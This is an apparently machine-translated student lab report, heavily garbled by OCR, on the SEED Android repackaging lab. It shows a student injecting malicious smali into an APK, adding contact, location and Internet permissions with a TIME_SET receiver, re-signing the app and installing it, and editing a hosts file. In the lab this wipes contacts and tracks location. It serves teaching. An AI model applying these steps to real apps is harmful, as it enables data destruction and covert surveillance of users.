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ACTIVITIES

1. Download and install target application

11 Actions

For the purposes of the exercise, we used two virtual machines, SEEDUbuntu (attacker side)
and SEEDAnNdroid (victim side).

Ubuntu Desktop f; B = ) sosam

SEELLizs

Figure 1.1.1. The attacker's virtual machine (SEEDUbuntu)
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Figure 1.1.2. The victim's virtual machine (SEEDANdroid)

Additionally, we connected the two machines to the same NAT network, in order to achieve the Android attack
Repackaging.

## SEEDUbuntu16.04x32-bit - PuBiceic

Mevika AikTuo
Zlomnua Képra Bikriiou 1
0Bavn
AnoBrikzuon Zuvdebepévn oe:  AikTuo NAT
Hyoc Ovopa:  NatNetwork
» Advanced

M AikTuo

Iapiakic Bupsg

usB

Kovoyxpnoro ®axkshol

MNzpiBaAAov xphom

Figure 1.1.3. Configuring the NAT network in the attacker's machine settings
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#¥ SEEDAndroid - Pubpiczic

Tevika AikTuo

Zlomua Kdapra dicriou 1

0Bovn

AnoBrikeuon Zuvdebepévn oe:  AikTuo NAT

Hyoc Ovopa: NatNetwork
» Advanced

AikTuo

ZepiokEg OUpEeg

use

Koivoypnorol ®akzAol

MepiBaAhov xpriom

Evroniotnkav pn éykupec, puBpicaig m BorjBaia

Figure 1.1.4. Configuring the NAT network in the victim's machine settings

Step 1. Download target application from attacker

We booted the attacker's machine (SEEDUbuntu) and downloaded the file from eclass
RepackagingLab.apk.

Step 2. Install the target app on the victim's Android device

To install the application on the Android device we used the adb tool. Initially,
we searched for the victim's IP from the terminal of his machine (SEEDAnNdroid) with the command:

ifconfig

We then executed the following commands on the terminal of the attacker's machine (SEEDUbuntu) in order to
install the application on the victim's machine. The commands are:

adb connect 10.0.2.4
adb install RepackagingLab.apk

where, 10.0.2.4 is the IP address of SEEDANdroid and RepackagingLab.apk is the target application. Finally, for
the needs of the following activities, we uninstalled the application, so that we could install it with modifications.
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1.2 Results

L=

Window1 ~

x86_64:/ $ ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope: Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:0 TX bytes:0

eth0 Link encap:Ethernet Hwaddr 08:00:27:78:bc:97
|inet addr:10.0.2.4] Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe78:bc97/64 Scope: Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:125761 errors:0 dropped:0 overruns:0 frame:0
TX packets:41402 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes: 187184782 TX bytes:3266272

x86_64:/ $ ||

< O O

Figure 1.2.1. Finding the victim's IP address

Terminator

/bin/bash
=
[06/01/23]seed@VM:~/. . ./Scenariol$ adb connect 10.0.2.4;
already connected to 10.0.2.4:5555
[06/01/23]seed@VM:~/.../Scenariol$ adb install RepackaginglLab.apk
14713 KB/s (1421095 bytes in 0.094s)
Success
[06/01/23]seed@VM:~/. . ./Scenariol$ [J

Figure 1.2.2. Installing the target application on the victim's machine
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Calculator Calendar Calibration Chrome ClickJacking Attack 1 Clock
o £
9, +d
n
Contacts Dev Tools Downloads Email Gallery Gmail
Google Maps MockLocation Music Notes Phone
7 H
. D b -
Play Store Repackaging Lab RSS Reader Settings Taskbar Terminal Emulator
e u
Voice Search YouTube

Figure 1.2.3. Verifying the installation of the target application on the victim's machine

1.3 Ohservations

The installation was done manually from the attacker's machine terminal because the two machines are
on the same NAT network.

2. Dismantling the application

21 Actions
We disassembled the application from the attacker's machine terminal with the command:

apktool d RepackagingLab.apk

Next, we checked the files produced by the File Explorer of the attacker's machine (SEEDUbuntu).
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2.2 Results

Terminator ty B o 729Pm I

@ x /bin/bash

[06/01/23]seed@M:~/.../Scenariol$ apktool d RepackaginglLab.apk

I: Using Apktool 2.2.2 on RepackaginglLab.apk

I: Loading resource table...

I: Decoding AndroidManifest.xml with resources...

I: Loading resource table from file: /home/seed/.local/share/apkto
ol/framework/1.apk

. 2

——#1: Regular manifest package...
r:‘.‘ y1: Decoding file-resources...
E

_—

I: Decoding values */* XMLs...
Ml1: Baksmaling classes.dex...
MI: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
[06/01/23]seed@M:~/. ../Scenariol$ [}

ty B © 730Pm %

> f*Home project4 Scenariol RepackaginglLab Q =

Home

Desktop ‘

__MACOSX I MaliciousCode.
Documents smali

Downloads

Music
Pictures RepackagingLab.
apk

Videos

El a B & ¢<DOD N P

Trash

g? Network

Computer

o @

Connect to Server

‘ “RepackagingLab” selected (containing 5items)

Figure 2.2.2. The RepackagingLab folder
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RepackagingLab ty B o 730Pm 1%

f*Home project4 Scenariol RepackagingLab

Home

ety el i e

original res smali

[ >

Documents

Downloads

Music AndroidManifest. apktool.yml

. xml
Pictures

D& ¢

Videos

A

Trash

Network

2

Computer

o @

Connect to Server

Figure 2.2.3. The contents of the RepackagingLab folder

2 3 Observations

The apk file includes the .smali files which are compiled Java codes, the .arsc files which contain
the resources of an application and the .xml file which is for the basic settings of an Android.
application.

3. Incorporation of malicious code

31 Actions
Step 1. Download the malicious code (in smali format)

We downloaded the malicious code MaliciousCode.smali from eclass and saved it to
attacker's machine (SEEDUbuntu).

Step 2. Integrate malicious code into the target application

Next, we placed the malicious code MaliciousCode.smali in the /smali/com directory.

Step 3. Configuring the reassembled application

Finally, we added the permissions to read and write contacts to the AndroidManifest.xml file, which
is the file for the basic settings of an Android application, and we also registered the
Broadcast Receiver and we configured the intent-filter to receive the TIME_SET broadcast event.
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MaliciousCode.smali (~/project4/Scenario1) - gedit L1 m €) 7:39PM %

Open ¥ M~ Save

# direct methods
) .method public constructor <init=()V
.locals @

.prologue
.line 14
invoke-direct {p@}, Landroid/content/BroadcastReceiver;-><init>()V

return-void
.end method

| public onReceive(Landroid/content/Context;Landroid/content/Intent;)
.locals 9

.param p1, "context” # Landroid/content/Context;
.param p2, "intent" # Landroid/content/Intent;
.prologue

const/4 v2, 0x0

.line 17

invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/
content/ContentResolver;

move-result-object vo

.line 18

1arcal uA "rantantDacnluar" 1l andraid/rantant IfantantDacnluar .

Plain Text ¥+ Tabwidth:8 = Ln 19, Col 76 - INS

Figure 3.1.1. The malicious file MaliciousCode.smali

Li] Eﬂ <)

Open ¥ [ Save

AndroidManifest.xml (~/project4/Scenario1/RepackagingLab) - gedit 7:42PM 1%

MaliciousCode.smali X AndroidManifest.xml

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.mobiseed.repackaging” platformBuildvVersionCode="23"
platformBuiLdVersionName:”G.@—2166767"4
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<fapplication>
</manifest>

Saving file '/home/seed/project4/Scenar... XML ¥ Tabwidth:8 ~ Ln 2, Col 174 - INS

Figure 3.1.2. The AndroidManifest.xml file



Machine Translated by Google

AYXDOAAEIA XTHN TEXNOAOI'TA THX ITAHPO®OPIAX

3.2 Results

Scenario1 13 m ) T7:39PM %

Scenario1 RepackagingLab smali android

Home

Desktop ‘ ‘

__MACOSX RepackagingLab

Downloads

Music
RepackagingLab.

Pictures apk

ar
]
[ Documents
~
dd
o]
-

Videos

b

Trash
@¢ Network

[@ computer
a

Connect to Server

ST Ne

i

“MaliciousCode.smali” selected (2.4 kB)

Figure 3.2.1. The filepath of the malicious file MaliciousCode.smali

3y B) « 740Pm %

é project4 Scenariol RepackagingLab smali com o] 5=
r Home
M [m Desktop ‘
— [@ Documents mkisend
="
i v, Downloads
dd Music
St A Pictures
— " Videos
Ei ) (@) Trash
== =2 Network
[ Computer
‘(S B connect to Server
4
‘ “MaliciousCode.smali” selected (2.4 kB)

Figure 3.2.2. Placing the malicious file in the smali/com folder
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RepackagingLab 13 m q) 741PM 1%

@ > < Scenariol Repackaginglab smali com
r Home
m [m Desktop ‘ ‘ ‘
| original res smali
= [ Documents
(5
-~ s Downloads .
- dd Music AndroidManifest. apktoolyml
’ &1 Pictures xml
_ m Videos
E } {0 Trash
= ¢ Network
[ computer
(_ B Connectto Server

t “"AndroidManifest.xml” selected (832 bytes)

ty B o 751Pm %

ave

MaliciousCode.smali x AndroidManifest.xml x

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
&~-"Mrackage="com.mobiseed.repackaging" platformBuildversionCode="23"
platformBuildvVersionName="6.0-2166767">
uses-permission android:name="android.permission.READ_CONTACTS" />
uses-permission android:name="android.permission.WRITE CONTACTS"
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop" android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme .NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>
<receiver android:name="com.MaliciousCode" >
<intent-filter>
<action android:name="android.intent.action.TIME_SET" />
</intent-filter>
</receiver>
</application>
</manifest>

XML ¥ Tabwidth:8 ~ Ln 4, Col 69 b INS

Figure 3.2.4. Adding the “read contacts” and “write contacts” permissions
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AndroidManifest.xml (~/project4/Scenario1/RepackaginglLab) - gedit

Open ~ [+l

MaliciousCode.smali x AndroidManifest.xml x

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.mobiseed.repackaging” platformBuildversionCode="23"
platformBuildvVersionName="6.0-2166767">
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>
<receiver android:name="com.MaliciousCode" >
<intent-filter>
<action android:name="android.intent.action.TIME_SET" />
</intent-filter>
</receiver>
</application>
</manifest>

Y

SUNmINe

XML v TabWwidth:8 ~ Ln 16, Col 25 2 INS

Figure 3.2.5. Registering the BroadcastReceiver and setting the intent-filter for the event
"TIME SET"

3 3 Ohservations

The read and write contacts permissions allowed us to have them when we launched the target application
at least once, where we attempted to regain administrator rights on the Android machine with the aim of deleting
all contacts via the change in time (TIME_SET event).

4. Reassembling the application

41 Actions

Step 1. Rebuild the APK file

We used apktool to create a new APK file, with the command:

apktool b RepackagingLab

The new file was saved in the RepackagingLab/dist folder.
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Step 2. Create a key pair

Before creating the pair, we changed the current directory from "Scenariol" to "dist" which we
created by rebuilding the APK file with the command:

cd RepackagingLab/dist

To create the key pair (public and private), we used the keytool tool with the command:

keytool -alias dist -genkey -v -keystore mykey.keystore

Step 3. Digitally sign the APK file

We signed the APK file with the jarsigner tool and the command:

jarsigner -keystore mykey.keystore RepackagingLab.apk dist

4 2 Reslilts

Terminator 1 m ) 8:11PM 1%
. /bin/bash

06/01/23]seed@VM:~/.../Scenariol$ apktool b RepackagingLab
: Using Apktool 2.2.2
: Checking whether sources has changed...
: Smaling smali folder into classes.dex...
: Checking whether resources has changed...
: Building apk file.
: Copying unknown flles/dlr
6/01/23]seed@VM = /Scenar101$ I

'_‘HHHHHHI—!I

®
=
—]
=
5
7

0

Figure 4.2.1. Rebuilding the APK file



Machine Translated by Google

AYXDOAAEIA XTHN TEXNOAOI'TA THX ITAHPO®OPIAX

Terminator 1 m Q) 8:14PM {iF

- : /bin/bash
@ /bin/bash 66x24

E06/01/23]seed@VM:~/.../dist$ keytool -alias dist -genkey -v -keys
Jtore mykey.keystore

[ JEnter keystore password:

=

Re-enter new password:
What is your first and last name?
[Unknown]: Vasilis Athanasiou
What is the name of your organizational unit?
[Unknown]: ITSeedlLabs2023
What is the name of your organization?
[Unknown]: ITSeedLabs
What is the name of your City or Locality?
[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate Student
What is the two-letter country code for this unit?
[Unknown]: GR
Is CN=Vasilis Athanasiou, OU=ITSeedlLabs2023, 0=ITSeedlLabs, L=Athen
s, ST=Undergraduate Student, C=GR correct?
[no]: vyes

Generating 2,048 bit DSA key pair and self-signed certificate (SHA
256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, OU=ITSeedLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate Student, C=GR

ty B o siapm i

/bin/bash
/bin/bash 66x24

[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate Student
MwWhat is the two-letter country code for this unit?

[Unknown]: GR
Is CN=Vasilis Athanasiou, 0U=ITSeedlLabs2023, 0=ITSeedlLabs, L=Athen
s, ST=Undergraduate Student, C=GR correct?
[no]: vyes

MGenerating 2,048 bit DSA key pair and self-signed certificate (SHA
256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, 0U=ITSeedLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate Student, C=GR
Enter key password for <dist>

(RETURN if same as keystore password):
Re-enter new password:
[Storing mykey.keystore]

The JKS keystore uses a proprietary format. It is recommended to m
igrate to PKCS12 which is an industry standard format using "keyto
ol -importkeystore -srckeystore mykey.keystore -destkeystore mykey
.keystore -deststoretype pkcsl2".

[06/01/23]seed@VM:~/. ../dist$ [

Figure 4.2.2. Creating the key pair
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Terminator LI m 4)
/bin/bash

8:15PM 't

[06/01/23] seed@M:~/. .
jepackagingLab.apk dist

JEnter Passphrase for keystore:
Mijar signed.

./dist$ jarsigner -keystore mykey.keystore R

—__The signer certificate will expire within six months.

! yNo -tsa or -tsacert is provided and this jar is not timestamped. W
e i thout a timestamp, users may not be able to validate this jar aft
——jler the signer certificate's expiration date (2023-08-30) or after
E any future revocation date.

[06/01/23] seed@WM:~/. ../dist$ |}

Figure 4.2.3. Digital signature of the APK file

ty B o ss9Pm I

f*Home project4 Scenariol RepackagingLab dist LU 2=

Home .
Desktop

mykey.keystore RepackagingLab.
Documents apk

Downloads
Music
Pictures

Videos

Bl @ B S ¢« DN B

Trash

2? Network

@ computer

B connectto Server

“mykey.keystore” selected (2.0 kB)

Figure 4.2.4. The filepath of the target application's digital certificate
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4.3 Observations

The creation of the self-signed certificate was intended to recognize the
application for use on Android devices.

5. Execution of the attack
5.1 Actions

Step 1. Install app on Android device

We executed the following commands on the terminal of the attacker's machine (SEEDUbuntu) in order to install
the application on the victim's machine. The commands are:

adb connect 10.0.2.4
adb install RepackaginglLab.apk

where, 10.0.2.4 is the IP address of SEEDANdroid and RepackagingLab.apk is the target application.

Step 2. Enable permissions on the Android VM

From the victim's terminal (SEEDAnNdroid) we manually activated the permissions of the target application from
the following path:

Settings -> Apps -> Repackaging Lab -> Permissions -> toggle contacts
on

Step 3. Execute the attack

Initially, we created 3 contacts from the victim's device. We executed the attack after opening the application
from the victim's terminal, so that the Broadcast Receiver would be registered for the time change event (TIME SET). The
attack was done by manually changing the device's time from the path:

Settings -> Date and Time -> Set time

After the time change, the attack is carried out and all of the victim's deletions are deleted.
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B 2 Resllts

Terminator 1 B o siePm %

/bin/bash

[06/01/23]seed@VM:~/.../dist$ adb connect 10.0.2.4;

[ ‘P1already connected to 10.0.2.4:5555

¥ 1[06/01/23]seed@VM:~/.../dist$ adb install RepackaginglLab.apk
14536 KB/s (1427461 bytes in 0.095s)

Success

[06/01/23]seed@VM:~/. . ./dist$ |}

Ol JENe] . Ko

Figure 5.2.1. Installing the target application on the victim's machine (SEEDAnNdroid)

F A ADQ « @ 816

Q Search Apps

B = ¢

Calculator Calendar Calibration Chrome ClickJacking Attack 1 Clock
& bl
05 d
! :
Contacts Dev Tools Downloads Email Gallery Gmail
- ——

Google Maps MockLocation Music Notes Phone
' k 'D v_. @ @ - .
Play Store Repackaging Lab RSS Reader Settings Taskbar Terminal Emulator

‘# n
Voice Search YouTube

Figure 5.2.2. Verifying the installation of the target application on the victim's machine
(SEEDANdroid)
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A AQD

€< App permissions

@ Repackaging Lab

E Contacts @

Figure 5.2.3. Enabling permissions for managing contacts

MobiSEED
wedu@syr.edu

Import
Gallery
] Slideshow

Tools

Communicate
Share

Send

Figure 5.2.4. Activating the application to register the Broadcast Receiver
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KA AQ

= Add new contact

Saving to
Tablet-only, unsynced contact

- Aggelos

R, (694) 444-4444

Mobile w

More fields

Figure 5.2.5. Creating the contact "Aggelos”
F A ADQ

<  Add new contact

Saving to
Tablet-only, unsynced contact

- Giorgos

',  (698) 888-8884

Mobile -

More fields

Figure 5.2.6. Creating the contact "Giorgos"
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FAAD

€  Add new contact

Saving to
Tablet-only, unsynced contact

- Vasilis

5 (697) 777-7777

Mobile -

More fields

Figure 5.2.7. Creating the contact "Vasilis"

E A AQ

Contacts FAVORITES

ME e Seed

A o Aggelos
G e Giorgos
Vv o Vasilis

Figure 5.2.8. Verifying the creation of contacts
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CANCEL C‘

Figure 5.2.9. Changing the time for the attack to occur

" ADA ¢ @ 3:20

Contacts FAVORITES ALL

. ADD ACCOUNT
- IMPORT CONTACTS

No contacts

Figure 5.2.10. Verification of successful attack
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5.3 Observations

The Broadcast Receiver received a time change event and immediately ran the malicious code
"MaliciousCode.smali" that we embedded in activity 3. The code deletes all of the victim's contacts, after securing
permission to manage contacts.

6. Tracking the victim's location

6.1 Actions

We activated the MockLocation application from the victim's machine (SEEDAndroid) and
we selected one of the camera's default locations (Paris).

Step 1. Configure DNS on the Android VM

Initially, we searched for the IP Address of the attacker's machine (SEEDUbuntu) from his terminal with the
command:

ifconfig

Then we copied the /system/etc/hosts file from the victim's machine to the attacker's machine, modified it, and copied
it back to the victim's machine with the commands:

adb root
adb connect

adb pull /system/etc/hosts
gedit ./hosts
adb push ./hosts /system/etc/hosts

Step 2. Repackaging and installing the target application

We downloaded the target application from eclass (Scenario2) and disassembled it with the command:

apktool d RepackaginglLab.apk

We placed all the .smali files in the smali/com/mobiseed/repackaging directory. Then, we modified the
AndroidManifest.xml file, adding 3 permissions and one for Internet, as well as the
Broadcast Receiver that is activated when the time changes.
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AndroidManifest.xml (~/projectd4/Scenario2/RepackaginglLab) - gedit

@

Open ¥ [l Save

2:04AM 1%

?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android”
package="com.mobiseed.repackaging” platformBuildVersionCode="23"
platformBuildVersionName="6.0-2166767">
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme .NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>
<fapplication>
</manifest>

XML ¥ Tabwidth:8 ~ Ln 1, Col1 v INS
Figure 6.1.1. The AndroidManifest.xml file

We used apktool to create a new APK file, with the command:

apktool b RepackagingLab
The new file was saved in the RepackagingLab/dist folder.

Before creating the pair, we changed the current directory from "Scenariol" to "dist" which we created by
rebuilding the APK file with the command:

cd RepackagingLab/dist

To create the key pair (public and private), we used the keytool tool with the command:

keytool -alias dist -genkey -v -keystore mykey.keystore

We signed the APK file with the jarsigner tool and the command:

jarsigner -keystore mykey.keystore RepackaginglLab.apk dist

Finally, we executed the following commands on the terminal of the attacker's machine (SEEDUbuntu) in order to
install the application on the victim's machine. The commands are:

adb connect 10.0.2.4
adb install RepackagingLab.apk

where, 10.0.2.4 is the IP address of SEEDANdroid and RepackaginglLab.apk is the target application.



Machine Translated by Google

ASDHDAAETA STHN TEXNOAOTTA THY TTAHPODOOPTAY

Step 3. Enabling permissions on the Android VM

From the victim's terminal (SEEDAnNdroid) we manually activated the application's permissions-
target from the following path:

Settings -> Apps -> Repackaging Lab -> Permissions -> toggle location
on

Step 4. Activating the attack

We executed the attack after opening the application from the victim's terminal, so that the Broadcast Receiver
would register for the time change event (TIME SET). The attack was performed by manually changing the device's time
from the path:

Settings -> Date and Time -> Set time
After the time change, the attack takes place and the attacker tracks the victim.

Step 5. Monitoring the victim

We returned to the attacker's machine (SEEDUbuntu) and monitored the victim from the web application:

http://lwww.repackagingattacklab.com

6.2 Results
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A A ¢« @ 6:36

MockLocation

SEED LABS : MOCK LOCATION APPLICATION

NEW YORK : OFF

SAN FRANCISCO : OFF

PARIS: ON

* SHANGHAI : OFF

AGRA: OFF

Figure 6.2.1. Selecting a location from MockLocation
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Terminator ty B o sa3pm 1%
/bin/bash

[06/01/23]seed@VM:~/project4$ ifconfig

jenpos3 Link encap:Ethernet HWaddr 08:00:27:be:51:57
Bd Bcast:10.0.2.255 Mask:255.255.255.
S inet6 addr: feB80::d779:6d7f:25e0:6776/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19249 errors:0 dropped:0® overruns:0 frame:0
TX packets:14227 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000
RX bytes:20048313 (20.0 MB) TX bytes:13792177 (13.7 MB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:3086 errors:0 dropped:0 overruns:0 frame:0
— TX packets:3086 errors:0 dropped:0 overruns:0 carrier:0

collisions:0® txqueuelen:1

q RX bytes:7279333 (7.2 MB) TX bytes:7279333 (7.2 MB)

[06/01/23]seed@VM:~/project4s i

Figure 6.2.2. Finding the attacker's IP address

ty B o s1apm B

. : /bin/bash
@ /bin/bash 66x24

[06/01/23]seed@/M:~/projectd4$ adb root
adbd is already running as root
[06/01/23]seed@VM:~/project4$ adb connect 10.0.2.4

s 1ready connected to 10.0.2.4:5555

ol [06/01/23] seed@M:~/projectd4$ adb pull /system/etc/hosts
1 KB/s (95 bytes in 0.087s)

Figure 6.2.3. Installing the target application on the victim's machine
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File Edit View Search Tools Documents Help ty B} v 91sPm %
@ Oopen ¥ [ Save

27.0.9.1 localhost

S ip6-localhost

10.0.2.15 www.repackagingattacklab.com

Loading file ‘/home/seed/project4/... PlainText ¥ TabWwidth:8 ~ Ln 1, Col1 v INS

Terminator 13 m ) 9:15PM {t

/bin/bash

« 1

[06/01/23] seed@VM:~/project4$ adb root

adbd is already running as root

[06/01/23] seed@VM:~/project4$ adb connect 10.0.2.4

s lready connected to 10.0.2.4:5555

B [06/01/23] seed@M:~/projectd4$ adb pull /system/etc/hosts
1 KB/s (95 bytes in 0.087s)
[06/01/23] seed@VM:~/projectd4$ gedit ./hosts

[06/01/23] seed@VM:~/projectd4$ adb push ./hosts /system/etc/hosts
M2 KB/s (95 bytes in 0.044s)
[06/01/23] seed@VM:~/project4s |}

Figure 6.2.5. Copying the modified file to the SEEDAndroid machine
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FAQdA
Window1 ~
1127.0.0.1 localhost
= ip6-localhost

10.0.2.15 waww. repackagingattacklab.com

- /system/etc/hosts 1/3 33%
< O 0O =]

Figure 6.2.6. Verifying the copy of the modified file to the SEEDANndroid machine

Scenario2 1 m ) 9:21PM %

é fXHome project4 Scenario2 MaliciousCode Location
g r Home
z’ [ Desktop J J
__MACOSX MaliciousCode_
% D Documents Location
[;} <, Downloads
dd Music
F!‘ [ Pictures
% @ Videos
? ) (@ Trash
; g? Network
[€ computer
5 B connectto Server
*
‘ “RepackagingLab.apk” selected (1.4 MB)

Figure 6.2.7. The filepath of the target application
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Terminator 13 E €) 2:01AM %

/bin/bash

o |

[06/02/23]seed@VM:~/.../Scenario2$ apktool d RepackagingLab.apk
I: Using Apktool 2.2.2 on RepackagingLab.apk

I: Loading resource table...

I: Decoding AndroidManifest.xml with resources...

I: Loading resource table from file: /home/seed/.local/share/apkto
ol/framework/1.apk

I: Regular manifest package...
¥1: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
)
I:

[

Copying unknown files...
Copying original files...
06/02/23]seed@M:~/.../Scenario2$ fi

frHome project4 Scenario2

Home

Desktop ‘ ‘

__MACOSX MaliciousCode_ RepackagingLab

Documents Location

i Downloads

RepackagingLab.

Pictures apk

Videos

w

]

D

v

dd Music
o]

v

{Iy Trash
(=T

Network

Computer

3
Q Connect to Server

“RepackagingLab” selected (containing 5 items)

Figure 6.2.9. The RepackagingLab folder
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repackaging ty B o 203am 1%

@ smali com mobiseed repackaging O ==
— 4 Home
il @ Desktop [ | J
BuildConfig.smali HelloMobiSEED. R.smali
— [ Documents smali
< 1
~ <, Downloads
dd Music | L
" v ! B Plctires RSanim.smali RSattr.smali RSbool.smali
- v Videos
— ||
E @ Trash RScolor.smali RS$dimen.smali RS$drawable.smali
=== O? Network
[€ computer = !
= RSid.smali RSinteger.smali RSlayout.smali
r‘) B ConnecttoServer
"/ RSmenu.smali RSmipmap.smali RS$string.smali
RSstyle.smali RSstyleable.smali

*AndroidManifest.xml (~/projectd4/Scenario2/RepackagingLab) - gedit

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.mobiseed.repackaging" platformBuildVersionCode="23"
platformBuildVersionName="6.0-2166767">
uses-permission android:name="android.permission.ACCE
uses-permission android:name="android.permission.ACCE
uses-permission android:name="android.permission.ACCES
uses-permission android:name="android.permission.INTER
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop"” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name="com.mobiseed.repackaging.MaliciousCode" >
<intent-filter>
<action android:name="android.intent.action.TIME_SET" />
</intent-filter>
</receiver>
</application>
</manifest>

LERe). Ko

ry

L, B XS

XML ¥ Tabwidth:8 = Ln 6, Col 62 v INS

Figure 6.2.11. Adding location and Internet permissions
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*AndroidManifest.xml (~/project4/Scenario2/RepackagingLab) - gedit

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android”
package="com.mobiseed.repackaging" platformBuildVersionCode="23"
platformBuildversionName="6.0-2166767">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<application android:allowBackup="true" android:debuggable="true"
android:icon="@drawable/mobiseedcrop” android:label="@string/app_name"
android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:label="@string/app_name"
android:name="com.mobiseed.repackaging.HelloMobiSEED" android:theme="@style/
AppTheme.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>
receiver android:name="com.mobiseed.repackaging.MaliciousCode” >
<intent-filter>
<action android:name="android.intent.action.TIME_SET" />
</intent-filter>

</application>
</manifest>

XML ¥ Tabwidth:8 = Ln 18, Col 20 v INS

Figure 6.2.12. Registering the BroadcastReceiver and setting the intent-filter for the event
"TIME SET"

Terminator

/bin/bash

/bin/bash 66x24
06/02/23]seed@VM:~/.../Scenario2$ apktool b RepackaginglLab
Using Apktool 2.2.2
Checking whether sources has changed...
Checking whether resources has changed...
Building resources...
Building apk file..
Copying unknown flles/dlr
6/02/23]seed@VM:~/ . . . /Scenario2s [l

[
I
[ -
i -
i:
I
.
[0

Figure 6.2.13. Rebuilding the APK file
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Terminator f B v 222am %
/bin/bash
o] /bin/bash 66x24
[06/02/23]seed@VM:~/.../dist$ keytool -alias dist -genkey -v -keys
tore mykey.keystore
Enter keystore password:
Re-enter new password:
What is your first and last name?
[Unknown]: Vasilis Athanasiou
What is the name of your organizational unit?
[Unknown]: ITSeedlLabs2023
What is the name of your organization?
i~ [Unknown]: ITSeedLabs
E’ What is the name of your City or Locality?
= [Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate student
What is the two-letter country code for this unit?
[Unknown]: GR
Is CN=Vasilis Athanasiou, 0U=ITSeedLabs2023, 0=ITSeedLabs, L=Athen
s, ST=Undergraduate student, C=GR correct?
[no]: vy

JGenerating 2,048 bit DSA key pair and self-signed certificate (SHA
§256withDSA) with a validity of 90 days

for: CN=Vasilis Athanasiou, O0U=ITSeedlLabs2023, 0=ITSeedLab
s, L=Athens, ST=Undergraduate student, C=GR

3y B © 222am %
/bin/bash
/bin/bash 66x24

[Unknown]: Athens
What is the name of your State or Province?
[Unknown]: Undergraduate student
What is the two-letter country code for this unit?
[Unknown]: GR
Is CN=Vasilis Athanasiou, 0U=ITSeedLabs2023, 0=ITSeedLabs, L=Athen
s, ST=Undergraduate student, C=GR correct?

[no]: vy

|~ MlGenerating 2,048 bit DSA key pair and self-signed certificate (SHA
| = M256withDSA) with a validity of 90 days
